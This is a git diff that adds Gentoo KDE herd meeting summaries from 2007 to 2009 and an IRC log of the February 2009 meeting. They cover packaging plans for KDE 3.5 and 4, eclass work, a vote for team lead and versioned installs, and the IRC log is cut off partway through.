+making it in time to not endanger their time frame needlessly if we don't make it.
+
+3. Changing to split ebuilds by default:
+This suggestion was rejected by the participants for 3.5.x. We will make it the
+default for KDE 4, though.
+
+4. State of KDE4 in the overlay(s):
+KDE4 in the overlay is doing well. People are installing it, using it and are 
+reporting bugs. We currently have both monolithic and split ebuilds.
+The participants decided 3:1 for keeping the monolithic ebuilds for KDE4.
+
+5. Miscellaneous
+- A particpant asked for information on cmake ("crash course"). Any input is
+appreciated.
+
+- cmake-utils.eclass. Several participants asked to get it into the tree. The final
+remaining "showstopper" is the src_test function which is mostly a verbatim copy
+of the one in ebuild.sh. We currently need it to determine if it's an in-source or
+out-of-source build. Any input on this is appreciated. 
+Philantrop is going to re-submit the eclass to the dev mailinglist next week.
+
+-  Arch Testers / Herd Testers. It was suggested to have Herd Testers for the KDE 
+herd as per GLEP 41. The suggestion was accepted by unanimous vote.
+Philantrop will talk to hparker, the AT lead about it.
+genstef and jmbsvicetto will prepare a draft for the project page and mail to 
+kde@g.o.
+
+- A participant suggested to move the scheduled meeting to the first Saturday of
+each month. This was approved by unanimous vote.
+keytoaster will update the project page accordingly.
+
+- Several participants asked about the Herd lead status as this is currently not
+reflected on the project page. The participants asked keytoaster to add the 
+following to the project page directly above the "Members" box:
+"We do not have a formal lead: Decisions can be made by every herd member but it usually is a good idea to ask Philantrop because he is around and knowledgable."
+
+
+Tasks:
+- Put the finished KDE 3.5.8 packages into the tree in p.mask by October, 14th 2007
+and inform kde@g.o and the core mailinglist about it. (Philantrop) 
+- cmake-utils.eclass should be re-submitted to the dev mailinglist by next week. (Philantrop)
+- Contact the AT project on how to implement HTs for the KDE herd. (Philantrop)
+- Prepare a draft for the project page about HTs. (genstef, jmbsvicetto)
+- Update the project page with information about project lead and monthly meetings. (keytoaster)
+
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20080306.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20080306.txt
new file mode 100644
index 00000000..32082853
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20080306.txt
@@ -0,0 +1,80 @@
+Summary for the Gentoo KDE herd meeting on Thursday, 6th of March 2008
+
+Participants:
+caleb, cryos, deathwing00, genstef, ingmar, jmbsvicetto, keytoaster, philantrop, tgurr,	zlin
+
+1. Bump to KDE 3.5.9:
+
+Apart from a few minor issues, the bump to KDE 3.5.9 went well. 
+
+https://bugs.gentoo.org/211116 (mixing split and monolithic ebuilds) was
+discussed. 3 participants didn't want the current behaviour changed, 3 were in
+favour of changing it. Thus, it was agreed that Ingmar, who volunteered to 
+change it, should feel free to do it.
+
+2. KDE 3.5.8 in stable for 2008.0.
+
+Philantrop stated that KDE 3.5.8 will be in the 2008.0 release.
+
+3. Removal of KDE < 3.5.8 from the tree.
+
+gentoofan23 brought up the issue of the removal of older (specifically 3.5.7)
+stable KDE versions from the tree after about 19 days and asked for a longer
+period for users to upgrade to the newest stable version.
+30 days were suggested as a rule of thumb and agreed upon by the majority of
+the participants.
+
+4. State of KDE4 in the tree.
+
+Ingmar and zlin gave a short information about KDE4 in the tree. The ebuilds in
+the tree are in a pretty good state. Their dependencies need to be updated for
+compatibility with the newly introduced split Qt-4.4 ebuilds.
+
+KDE 4.0.2 is currently planned to be included in the tree during the weekend.
+(p.masked)
+
+Anyone who wants to help with the bump to 4.0.2 should simply mail Philantrop
+his ssh public key. Interested users who can show they're able and willing to
+work on ebuilds are *explicitly* invited, too.
+The bump to 4.0.2 is taking place in a git overlay again to allow for non-ebuild
+devs to participate, too, and it's a great way to become a dev as Ingmar and
+zlin can verify.
+
+5. Herd Testers: Current state and next steps.
+
+The HT stuff was delayed because of the trustee elections, etc.
+jmbsvicetto and deathwing00 agreed to flesh out the work of a KDE Herd Tester
+and publish information about it on the usual Gentoo news channels (pr@g.o, 
+GMN, Forums).
+
+6. Lead election:
+
+Having a sub-lead was discussed to ensure not to have a single point of failure
+in case the lead disappears. In a vote, 3 herd members expressed their wish for
+a sub-lead, 5 voted against it and there was one abstention. Thus, the notion
+was rejected.
+
+deathwing00 initiated a vote for the lead. Philantrop was nominated and accepted
+the nomination.
+Philantrop was voted for by 9 of the participants, no votes against him and no
+abstentions. Thus, Philantrop was elected the lead of the Gentoo KDE project.
+
+deathwing00 is going to inform the GMN, pr@g.o and post it on the forums.
+
+7. Review of the project page
+
+gentoofan23 and deathwing00 volunteered to update the project page with respect
+to KDE versions and other information in the sections 3, 4, 8 and 9 till the
+next meeting.
+
+8. Miscellaneous
+
+It was decided to re-instate the monthly meetings on the first Thursday each 
+month.
+
+9. Date of the next meeting and closing.
+
+The next KDE herd meeting takes place on Thursday, 3rd of April 2008.
+
+Philantrop thanked all the Gentoo KDE people for their great work and their
+trust in him.
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20081204.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20081204.txt
new file mode 100644
index 00000000..8f86331a
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20081204.txt
@@ -0,0 +1,31 @@
+kde3:
+	cryos and tampakrap are willing to handle its dying. Their priority should be stabilising 3.5.10 and making it live along 4.X.
+kde4-eclasses:
+	currently in reviewing
+	Jmbsvicetto and krytzz promised helping me up with testing get_latest_kdedir.
+	Moving htmlhandbook to eclass? jmbsvicetto/scarabeus
+	fix remaining tree ebuild so they use NEED_KDE="version" and not NEED_KDE="slot" scarabeus will do it.
+	only eapi2 and greater in eclass: jmbsvicetto will look on this one.
+kde4:
+	try to push versioning in one prefix into upstream. It will be bliss for maintaining. cryos (on kde camp :P)
+people-in-team:
+	write mail to all whom are mentioned on project page and not active to determine their current status. :(
+	jmbsvicetto willing to do this.
+qt4:
+	yngwin is currently only qt dev, he should get some help, reavertm volunteer (see HT guys are useful :])
+tampakrap:
+	getting his ebuild-quiz done i scarabeus am willing to help. Yngwin as mentor.
+kde-crazy:
+	snapshots: tampakrap, alexxy, patrick; state: somehow working
+	live: sput, krytzz, reavertm; state: well live ;]
+networkmanager:
+	scarabeus will ask rbu if he need some help with this vital part of kde4.2 networking.
+mysql:
+	cooperate with robbat2 since kde4.2 and amarok are dead without it. Jmbsvicetto volunteer to help robbat2 so lets se what will be outcome from this.
+
+:::LONG TERM:::
+kde-look/apps:
+	maybe create some generator for those apps, take look onto app-portage/g-cpan how perl mages do it.
+bugwranglers:
+	reavertm, proposal about letting normal users to wrangle our bugs, most of them are needinfo or already closed so let users help us.
+	Maybe some wrangler-quiz.txt will be needed.
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20090108.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20090108.txt
new file mode 100644
index 00000000..5b61c013
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20090108.txt
@@ -0,0 +1,27 @@
+kde3:
+  sent mail asking for volunteers since we are short on staff on kde3. Sqashing bugs/etc. - cryos
+eclasses:
+  done, commit to the tree, anounce on dev, make sure all ebuilds are updated to new structure and revbumped. - scarabeus
+kde4:
+  4.1.4 after eclasses and mics apps are done, not earlier!  - alexxy as a new dev :]
+  disable +kdeprefix on stable (in the tree) - jmbsvicetto?
+  4.2 doublecheck for missing ebuilds, generate metas - alexxy, tampakrap
+  policykit: suspended for now, when time comes we should cooperate with gnomies
+  printing: bump everything first in kde-testing, move to tree when we think it is ready, printing suspended until this is done. - !!! NOBODY !!! (leave it on gentoo-desktop?)
+  write nice guide - tampakrap
+  fix homepages for kdebase ebuild on correct ones in kde structure - patrick
+  mono - suspended until someone care, we dont want them - scarabeus
+qt4
+  status: yngwin states he has some qt apprentices, which is great :]
+  overlay: there will be new overlay for qt stuff which is yngwin creating
+  pyqt/pykde messie - patrick, yngwin if they get to it :]
+
+SPLIT/MERGE overlays VOLTES:
+yngwin: merge
+kitten: merge
+scarab: merge
+tampakrap: merge
+reavertm: merge
+alexxy: merge
+cryos: dont mind merge
+sput: merge
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20090305.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20090305.txt
new file mode 100644
index 00000000..09f2d372
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20090305.txt
@@ -0,0 +1,40 @@
+AROUND:
+yngwin, wired, scarabeus, alexxy, cryos, jmbsvicetto, hwoarang, bonsaikitten, tampakrap, reavertm
+
+kde3 state/others:
+- merging to master branch in kde-testing soon, for more info/help offers talk with tampakrap
+- so correct prefixing for kde3 and no more blocks are coming near to you.
+- create important bug list and ask bugday people and others for help -> tampakrap
+
+amarok maintainer:
+- send mail to -dev to get one -> scarabeus
+
+homepage updates:
+- we need to keep our webspace up-to-date and guides actualy working -> yngwin, tampakrap
+
+pykde:
+squash the bugs/issues, unslot, unkdeprefix... -> bonsaikitten
+
+kbluetooth4:
+may be even working, needs testing/patching -> wired
+
+kde4 stabling/keywording:
+we need to check deps so they are working on target arches
+also we should make less strict deps on kde4 eclass -> scarabeus on this
+
+cmake-utils:
+hopefully done, now only bugfixing -> reavertm, scarabeus
+
+removal of htmlhandbook:
+introduce working doc flag -> probably scarabeus (needs to be done before 4.2.2)
+
+tarballs splitting and libs/apps versioning:
+- discussion to start on the desktop ml -> jmbsvicetto
+
+snapshots:
+send mail to dirk -> jmbsvicetto
+repack tarballs -> bonsaikitten
+set on rest for now by majority vote, come and volunteer if you want it changed
+
+bugsquash:
+let's aim at having each kde team member fixing 5 bugs per week
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090212.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090212.txt
new file mode 100644
index 00000000..f8d29e5f
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090212.txt
@@ -0,0 +1,761 @@
+21:00 <@scarabeus> ok sunshines, meeting time :P
+21:00 <@hwoarang> is it time?
+21:00 <@scarabeus> !herd kde
+21:00 *    yngwin  kicks Willikins
+21:00 <@scarabeus> i am going to hurt willikins...
+21:00 <+wired> lmao
+21:00 <@hwoarang> fail?
+21:00 <+MrRat> wired: do you know the amarok qt-4.5 bug at all?
+21:00 <@hwoarang> errr meeting time
+21:00 <+wired> yeah i read a bug you posted earlier about a missing line
+21:01 <@yngwin> i'll use this clone here
+21:01 <@scarabeus> :]
+21:01 <@hwoarang> ok who broke Willikins
+21:01 <@scarabeus> but i want that herd
+21:01 <@scarabeus> !herd kde
+21:01 < arachnist> hwoarang: i did
+21:01 < arachnist> ;)
+21:01 <+MrRat> wired: http://rafb.net/p/g1msai72.html
+21:01 <@scarabeus> !herd qt
+21:01 <@hwoarang> :D
+21:01 <+wired> !herd kde
+21:01 <@scarabeus> ok the other route
+21:01 <+wired> ^_^
+21:01 <+MrRat> wired, thats it, just one line
+21:02 <+wired> alright - does that work with 4.4.2 as well?
+21:02 <+MrRat> wired: but the file is not generated until about 10% of the build when qtscriptgenerator runs
+21:02 <@scarabeus> alexxy, bonsaikitten, cryos, hwoarang, jmbsvicetto, keytoaster, tampakrap, yngwin, dagger_, krytzz, MrRat, reavertm, Sput, wired
+21:02 <@scarabeus> meeting
+21:02 <@scarabeus> who is around
+21:02 *    alexxy  here
+21:02 * tampakrap
+21:02 *     wired  ^_^
+21:02 <+Sput> see above
+21:02 *  hwoarang  *
+21:02 *    yngwin  is a square
+21:03 <+MrRat> wired: so when the file is generated, i can edit it and back out of the directory and build is success
+21:03 <+krytzz> that joke is OLD :p
+21:03 *  reavertm  reporting
+21:03 <@jmbsvicetto> Sput: You're missing people :P
+21:03 * jmbsvicet  waves hand
+21:03 <@yngwin> krytzz: so am i ;)
+21:03 <+wired> MrRat: i see
+21:03 <+Sput> I'm what?
+21:03 <+Sput> mostly I'm missing alcohol and inspiration right now
+21:03 <@jmbsvicetto> Sput: Not in FOSDEM? ;)
+21:03 <+wired> MrRat: i'll check it out after the meeting
+21:04 *    yngwin  notes that caleb and carlo are missing as usual
+21:04 <@scarabeus> ok so are we waiting on somebody else
+21:04 <@scarabeus> i wrote carlo a mail
+21:04 <@scarabeus> asking him to drop at least for volte :(
+21:04 <@tampakrap> cryos also said he will probably be away
+21:04 <+wired> we'll give him the logs ^_^
+21:05 <@scarabeus> i know about those missing i am asking if we are waiting on somebody more?
+21:05 <@yngwin> bonsaikitten?
+21:05 <@scarabeus> yup right
+21:05 <@scarabeus> this one i would like to see :P
+21:05 <@scarabeus> !lastspoke bonsaikitten
+21:06 <@scarabeus> ok that bot actualy dont work now
+21:06 <@hwoarang> stupid bots
+21:06 -- rangerpb- is now known as rangerhomezzz
+21:06 <@scarabeus> ok i give him 4 minutes (agreed?)
+21:06 <@tampakrap> ok
+21:06 <@hwoarang> k
+21:06 <@tampakrap> should i call him? :)
+21:06 <@scarabeus> so he has 10 minutes after meeting start to show up :]
+21:06 <@scarabeus> :D
+21:07 <@alexxy> ok
+21:07 <@alexxy> bonsaikitten: !~!!!
+21:07 <+krytzz> we count to ten, then shout as loud as we can
+21:07 < kev009> what does use=raster for qt-gui?
+21:07 <+wired> speeds things up
+21:07 <+MrRat> kev009: speed!
+21:07 <@scarabeus> krytzz: i would wake teh kids
+21:07 <+krytzz> kev009 but breaks compositing  :p
+21:08 *  hwoarang  walks around
+21:08 * scarabeus  prepares editor and stuff for volting and so on :]
+21:09 <@hwoarang> time is up
+21:09 *     wired  is building live qt and kde ^_^
+21:10 <@scarabeus> actualy 50 secs
+21:10 <@scarabeus> now up
+21:10 <@scarabeus> ok
+21:10 < kev009> krytzz: is there a document that expalins how compositing breaks?
+21:10 <+reavertm> kev009 later please
+21:10 <@scarabeus> i officialy start february gentoo kde meeting in year 2009
+21:10 <@scarabeus> :}
+21:10 <@scarabeus> so first subject is review of old one
+21:11 <@scarabeus> i think we did great job with 4.2 and we deserve some cookies :]
+21:11 <@scarabeus> only thing that is missing from last month summary is pyqt/pykde and printing
+21:11 <+krytzz> yeah, it was great
+21:11 <@scarabeus> so how is the printing status reavertm
+21:11 <@scarabeus> only testing needed or some more coding?
+21:11 <+reavertm> printing status - it's reportedly working fine
+21:12 <@tampakrap> so can we add it to the tree?
+21:12 <+reavertm> we need maintainer
+21:12 <@scarabeus> ok process will be 1 week in overlay, and then the main tree
+21:12 <@scarabeus> reavertm: that is no problem
+21:12 <@scarabeus> we are kde herd
+21:12 <@scarabeus> we became maintainer
+21:12 <@tampakrap> right
+21:12 <+reavertm> system-config-printer and pycups are part of leftwovers after Donnie
+21:12 <@scarabeus> i know
+21:13 <+reavertm> they are straight dependecies for out printing kde stuff
+21:13 <@scarabeus> but if it is fixed and working for us we canmaintain
+21:13 <@scarabeus> ok there are no issues, so feel free to remove the mask from it in overlay :]
+21:13 <@alexxy> scarabeus: also we should unmask networkmanager/policykit
+21:13 <+reavertm> and there is one new ebuild that possibly needs to be perfected with some python deps as well - hal-cups-info (in overlay)
+21:13 <@scarabeus> alexxy: that is negative my friend
+21:13 <@scarabeus> we get to that
+21:13 <@tampakrap> we can also start maintaining them and ask in -dev if there are any others intrested in maintaining
+21:13 <+reavertm> (it's printer-applet dep)
+21:13 <@jmbsvicetto> We could ask the printing herd if they want to co-maintain it
+21:13 <@scarabeus> jmbsvicetto: there is no printing herd
+21:14 <@scarabeus> really i looked
+21:14 <@scarabeus> they are mostly dead
+21:14 <@jmbsvicetto> ok
+21:14 <@jmbsvicetto> Where's tgur?
+21:14 <@yngwin> paper is so last century :p
+21:14 <@scarabeus> i have no clue
+21:14 <@tampakrap> !seen tgurr
+21:14 < Willikins> tampakrap: tgurr was last seen 6 days, 16 hours, 49 minutes and 14 seconds ago, quitting IRC (Remote closed the connection)
+21:14 < Philantrop> jmbsvicetto: Health troubles.
+21:14 <@jmbsvicetto> Philantrop: ok, thanks for the info
+21:14 <@tampakrap> Philantrop: thanks
+21:14 <@jmbsvicetto> Philantrop: Do you know if he's still interested in printing packages?
+21:15 < Philantrop> jmbsvicetto: Mostly in cups and friends, yes.
+21:16 <@scarabeus> ok in that case reavertm should speak to him :]
+21:16 <@scarabeus> ok we can wait with printing on him :]
+21:16 <@scarabeus> hope his sickness is not serious and he will get well soon :]
+21:18 <@scarabeus> ok one more question for the last meeting
+21:18 <@scarabeus> did somebody sent that mail about kde3?
+21:18 <@yngwin> i havent seen any
+21:18 <@scarabeus> that we actualy ask for help on them
+21:18 <@scarabeus> tampakrap: so it will be your responsibility i guess
+21:18 <@tampakrap> ok
+21:19 <@tampakrap> i'll also talk with carlo about this
+21:19 <@jmbsvicetto> oh, there was a user that had a comment in my blog entry pleading for us not to drop kde3
+21:19 <@scarabeus> we are not droping it :]
+21:19 <@scarabeus> at least for now :]
+21:19 <+reavertm> we're droping 4.1 :)
+21:19 <+reavertm> (are we?)
+21:19 <@scarabeus> and next year i guess
+21:19 <@scarabeus> yup we are
+21:19 <@scarabeus> as said reaver
+21:19 <@scarabeus> anyone is against it?
+21:20 <@scarabeus> i wolte for drop :]
+21:20 <@hwoarang> +1
+21:20 <@tampakrap> drop
+21:20 <+reavertm> kill it
+21:20 <+wired> farewell
+21:20 <@yngwin> 4.1? yes
+21:20 <+Sput> +1
+21:20 <@scarabeus> 4.1 drop are we speaking about :] not the 3.5 :]
+21:20 <@scarabeus> yngwin: ^
+21:20 <@yngwin> :)
+21:20 <+wired> nobody will miss it anyway ^_^
+21:20 <@jmbsvicetto> bye bye 4.1
+21:20 < termite47384> hwoarang, MrRat: amarok fix0red?
+21:20 <@scarabeus> ok super
+21:21 <@hwoarang> termite47384 will get to it
+21:21 <+Sput> absolutely no need to keep that one around
+21:21 <@scarabeus> soo what is on schedule? ah jmbsvicetto you are :]
+21:21 < termite47384> sorry, I was away and wasn't sure if you had already
+21:21 <@hwoarang> \o/
+21:21 <@jmbsvicetto> scarabeus: :P
+21:21 <@scarabeus> btw who will do the drop
+21:21 <@scarabeus> alexxy: ?
+21:21 <@jmbsvicetto> 4.1?
+21:21 <@scarabeus> yup
+21:21 <@scarabeus> the drop
+21:21 <@tampakrap> may I?
+21:21 <@jmbsvicetto> sure
+21:21 <@scarabeus> tampakrap: if you want :]
+21:21 <+reavertm> still we need to sort packages that may explicitly depend on it
+21:22 <+reavertm> so called kde-misc
+21:22 <@scarabeus> there are none in the tree :]
+21:22 <@tampakrap> of course
+21:22 <@scarabeus> tested/fixed
+21:22 <+wired> there are
+21:22 <+wired> i.e. lancelot-menu
+21:22 <@tampakrap> let's double check to be sure
+21:22 <@scarabeus> only the powerdevil and lancelot
+21:22 <@scarabeus> :]
+21:22 <@scarabeus> ok
+21:22 <@scarabeus> lets go and volte the leader as we promised
+21:22 <@scarabeus> jmbsvicetto: looks like you are the only aplicant
+21:22 < Philantrop> *VOTE*. It's *vote*.
+21:23 <@tampakrap> i'll drop it in weekend as i'll be away tomorrow (exams)
+21:23 <@scarabeus> typo is still the typo
+21:23 <+MrRat> The volte is a very small circle that is used in the training of a horse
+21:23 <+MrRat> :)
+21:23 <+reavertm> could anyone nlighten me, what exactly is this voting for?
+21:23 <+wired> o_o MrRat
+21:23 <@scarabeus> reavertm: kde team leader
+21:23 <@scarabeus> gentoo kde team leader
+21:24 <+reavertm> ah, I got confused with Donnie stepping out from desktop lead
+21:24 <@scarabeus> so jmbsvicetto why we should volte for you, some promotial i guess :]
+21:24 <+reavertm> *down
+21:24 <@scarabeus> again
+21:24 <@scarabeus> why the crap i write volte
+21:24 <@scarabeus> i know it is vote :P
+21:24 < dberkholz> well. i can't really step out till someone else steps in
+21:24 < dberkholz> till then, i make a great figurehead
+21:24 <@yngwin> :)
+21:25 <@scarabeus> :D
+21:25 <@jmbsvicetto> scarabeus: hmm, because you were impressed with me in FOSDEM? ;)
+21:25 <@scarabeus> :]
+21:25 <+reavertm> ok, +1 on Jorge
+21:25 <@yngwin> +1
+21:26 <@alexxy> scarabeus: yep =) i can drop 4.1.x
+21:26 <+krytzz> i dont know if i have the right to vote but, +1
+21:26 <+Sput> _1
+21:26 <@scarabeus> alexxy: too late :]
+21:26 <+Sput> eh
+21:26 <+Sput> +1
+21:26 <@hwoarang> +1
+21:26 <+wired> +1
+21:26 <@alexxy> and i vote for jmbsvicetto to be kde lead
+21:26 <@scarabeus> actualy it counts only from devs :}
+21:26 < rane> gratz jmbsvicetto
+21:26 <@scarabeus> but i suggest the other way
+21:26 <@jmbsvicetto> dberkholz: You make much more than a figurehead, but we're very happy with your figurehead ;)
+21:26 <@scarabeus> who is against
+21:26 <+Sput> meh, I can still give my moral support :)
+21:26 <@jmbsvicetto> rane: :)
+21:27 <@jmbsvicetto> scarabeus: you might want to count the positive votes ;)
+21:27 <@scarabeus> and ftr i volte for him too
+21:27 <@jmbsvicetto> scarabeus: hehe (volte) ;)
+21:27 <@tampakrap> jmbsvicetto++
+21:27 *      Sput  applies 240 volts to scarabeus
+21:27 <@scarabeus> sdamn
+21:27 <+wired> lmao
+21:27 <+MrRat> haha
+21:27 <@scarabeus> ok you have 5 votes now
+21:27 <+wired> beat a typo with a typo, thats something ^_^
+21:28 <@jmbsvicetto> scarabeus: Don't know if you want to count deathwing00's vote
+21:28 <@scarabeus> oh right 6
+21:28 <+MrRat> +1
+21:28 <+MrRat> count me
+21:28 <@scarabeus> hwoarang: ping dude
+21:28 <@hwoarang> i did say +1
+21:29 <@hwoarang> :)
+21:29 <@scarabeus> ok 7
+21:29 <@jmbsvicetto> scarabeus: who's missing? bonsaikitten, cryo?
+21:29 <@scarabeus> yup
+21:29 <@jmbsvicetto> c/cryo/cryos/
+21:29 <@scarabeus> we can count kittens volte on fosdem?
+21:29 <@tampakrap> keytoaster and tgurr
+21:29 <@tampakrap> and carlo
+21:30 <@yngwin> and caleb
+21:30 <+reavertm> ok, lets' go further - 7 is enough already :)
+21:30 <@jmbsvicetto> and corsair and genstef if we look at the kde page
+21:30 <@scarabeus> those are kde devs?
+21:30 <@jmbsvicetto> according to the page
+21:30 <@hwoarang> are they active or smtg?
+21:30 <@jmbsvicetto> Not in a long time, afaik
+21:30 <@scarabeus> actualy i remember somebody promised that he will clean that up :]
+21:31 <@jmbsvicetto> So, do I get to wear the KDE royal crown or what? ;)
+21:31 <@scarabeus> jmbsvicetto: ok you are the leader
+21:31 <@hwoarang> \o/
+21:31 <@scarabeus> nobody volted against actualy :]
+21:31 <@yngwin> hail jmbsvicetto
+21:31 <@jmbsvicetto> :)
+21:31 * scarabeus  bows in front of our new leader
+21:31 <@tampakrap> congratulations!!
+21:31 <@hwoarang> and as a leader you should provide us some free beers
+21:31 <@scarabeus> jmbsvicetto: btw you have to update the page yourself, i hate cvs :]
+21:31 <@jmbsvicetto> Thanks for the confidence guys
+21:31 <+krytzz> right
+21:31 <@alexxy> he he =)
+21:31 <@jmbsvicetto> :)
+21:32 <@alexxy> congratulations jmbsvicetto
+21:32 <@tampakrap> POP *champagne*
+21:32 <@yngwin> i can update the webpage
+21:32 <@yngwin> need to edit it anyway
+21:32 <@jmbsvicet> yngwin: thanks
+21:32 <@yngwin> np
+21:33 <@scarabeus> ok this was actualy funniest part of the meeting
+21:33 <@scarabeus> things that will came are not that nice
+21:33 <@alexxy> yep
+21:33 <@yngwin> so grab another beer
+21:34 <@jmbsvicetto> scarabeus: so I guess I can just leave now ;)
+21:34 <@scarabeus> grm
+21:34 <@scarabeus> actualy you should be leading the discussion now ;P
+21:34 <@jmbsvicetto> hehed
+21:34 <@scarabeus> ok lets start with upstream and prefixing thingie
+21:34 <@scarabeus> i think that is something you have something to say about :]
+21:35 <+reavertm> hmm? please introduce topic
+21:35 <+reavertm> ah, kdeprefixing
+21:35 <+reavertm> but what part of exactly?
+21:35 <@tampakrap> i'll change topic
+21:36 <+reavertm> no noe
+21:36 <@scarabeus> not kdeprefixing
+21:36 tampakrap changed the topic of #gentoo-kde to: Official gentoo-kde project channel | KDE 4 guide: http://tinyurl.com/4n47v4 | Next meeting 12/02/2009@20:00 UTC |Overlays: kde-testing, qting-edge | Want to help us? Ask channel staff for info | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | jmbsvicetto is the new leader!!
+21:36 <@scarabeus> instaling multiple kde versions in one prefix
+21:36 <+reavertm> hmm, how?
+21:36 <+reavertm> elaborate please :)
+21:36 <@scarabeus> that what jorge has to do
+21:36 <@scarabeus> i have not much clue
+21:36 jmbsvicetto changed the topic of #gentoo-kde to: Official gentoo-kde project channel | KDE 4 guide: http://tinyurl.com/4n47v4 | meeting: now - multiple installs under 1 prefix |Overlays: kde-testing, qting-edge | Want to help us? Ask channel staff for info | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | jmbsvicetto is the new leader!!
+21:37 <+reavertm> I would like to hear what's all about first
+21:37 <@jmbsvicetto> ok
+21:37 <@jmbsvicetto> We were talking in FOSDEM that the real solution to our kdeprefix issues is to get KDE support for multiple versions in the same prefix
+21:38 <+reavertm> eselect?
+21:38 <@jmbsvicetto> To get that, we'll need versioned libs and we could use versioned apps (possibly with some symlinks to choose the default versions to use)
+21:38 <@alexxy> hmm
+21:38 *  reavertm  shuts up
+21:38 <@alexxy> that will be good
+21:38 <@jmbsvicetto> reavertm: that was one option presented
+21:38 <@scarabeus> which sounds most reasonable
+21:38 <@jmbsvicetto> reavertm: I thought it wasn't the best option - at least according to users. But if we get the versioned libs+apps, than it could be a good solution
+21:38 <@alexxy> jmbsvicetto: what was another option?
+21:39 <@jmbsvicetto> reavertm: the eselect would only select the "default" version
+21:39 <+reavertm> what do you mean - versioned libs/apps
+21:39 --rangerhom- is now known as rangerpb
+21:39 <@scarabeus> sonames pn-version and so on
+21:39 <@alexxy> jmbsvicetto: you mean that konsoel would be konsole-4.2.0 ?
+21:39 <@jmbsvicetto> reavertm: having kwrite-4.1 or libkdeinit4_kinfocenter.so.4.2.0
+21:40 <@scarabeus> alexxy: only 4.2
+21:40 *      Sput  wouldn't add support for point releases
+21:40 <@jmbsvicetto> alexxy: probably 4.2
+21:40 <@scarabeus> :}
+21:40 <@alexxy> hmm
+21:40 <+wired> upstream is willing to do something like that?
+21:40 <+Sput> though this will of course screw up tab completion :(
+21:40 <@scarabeus> upstream is willing to accept our patches for that
+21:40 <+Sput> no more automatic space!
+21:40 <+Sput> ooh, upstream should do that, rather than us?
+21:40 <@jmbsvicetto> alexxy: the idea of the symlinks would be to have a konsole that would point to the version the user wants. Anyone using 4.2 as their default version, could still run 4.1 with konsole-4.1 or live with konsole-live
+21:41 <@alexxy> ok
+21:41 <+wired> this sounds so much cleaner than kdeprefix
+21:41 <@alexxy> what will be with .desktop files?
+21:41 <@jmbsvicetto> Sput: That would be the best option, but it doesn't seem likely they'll want to do it by themselves
+21:41 <+reavertm> and messy
+21:41 <+reavertm> what about shared data?
+21:41 <+Sput> also this would allow other distros (with no concept of slotted installs) to support multiple versions easily
+21:41 <@jmbsvicetto> Sput: They were however somewhat open to accept our patches to get it done
+21:42 <@tampakrap> alexxy and reavertm made some good points
+21:42 <+reavertm> like kbuildsysoca area of interest?
+21:42 <@scarabeus> reavertm: actualy it is easy to suffix any filename with cmake so it can be all sufixed correctly
+21:42 <@jmbsvicetto> reavertm: We could have /usr/share/kde/<version>/* or /usr/share/kde/<pkg>-<version>
+21:43 <+reavertm> for me it's just a rehash of kdeprefix but with messed up files and separate - swtitched shared data areas
+21:43 <@jmbsvicetto> reavertm: kdeprefix was never the best option. It was just the easy way to get around the fact that kde doesn't version libs/apps
+21:43 <+reavertm> it would be easier to just eselect using kdeprefix
+21:43 <@scarabeus> actualy this one would mean pretty nice elimination of kdeprefix really
+21:43 <@jmbsvicetto> yes
+21:44 <+reavertm> and actualy selected version of KDE would be target destination of actually built kde-misc package
+21:44 <@scarabeus> reavertm: dependency nightmare
+21:44 <@scarabeus> really
+21:44 <@jmbsvicetto> reavertm: that seems worse, imho
+21:45 <+reavertm> scarabeus we have deps already set per ebuild
+21:45 <@jmbsvicetto> reavertm: Instead, with this proposal, kde-misc packages could link directly the unversioned deps
+21:45 <@alexxy> ohh
+21:45 <@alexxy> deps hell
+21:45 <@scarabeus> reavertm: as said jmbsvicetto ^^
+21:45 <@jmbsvicetto> reavertm: The issue it raises is that KDE keeps breaking ABI which would break the packages
+21:45 <@scarabeus> you could with this enable easy linking and it would be correct
+21:45 <+Sput> well, easiest would just be going back to good old slots. :>
+21:45 <@scarabeus> Sput: grm
+21:45 <@alexxy> jmbsvicetto: what will be with misc apps that only works with for example kde>=4.3
+21:45 <@jmbsvicetto> Sput: we have slots :P
+21:46 <@scarabeus> they link to the kdelibs.so-4.3.0
+21:46 <@jmbsvicetto> alexxy: well, you're not going to like my answer, but *pkgconfig*
+21:46 <@scarabeus> for example
+21:46 <+Sput> jmbsvicetto: KDE is no longer supposed to break ABI
+21:46 <@jmbsvicetto> scarabeus: kdelibs-4.3 I would say
+21:46 <@scarabeus> or pkgconfig is even better :]
+21:46 <@scarabeus> Sput: they did it.
+21:46 <@scarabeus> so we can expect more
+21:47 <@jmbsvicetto> What we can do in the future, is to be very active in the kde-packagers / kde-build mls and don't let them get away with ABI breakage
+21:48 <@alexxy> hmm
+21:48 <@jmbsvicetto> Now, who would like to work on this and does anyone have any ideas on how to get it started?
+21:48 <@alexxy> so kde upstream will accept splitting of kde apps?
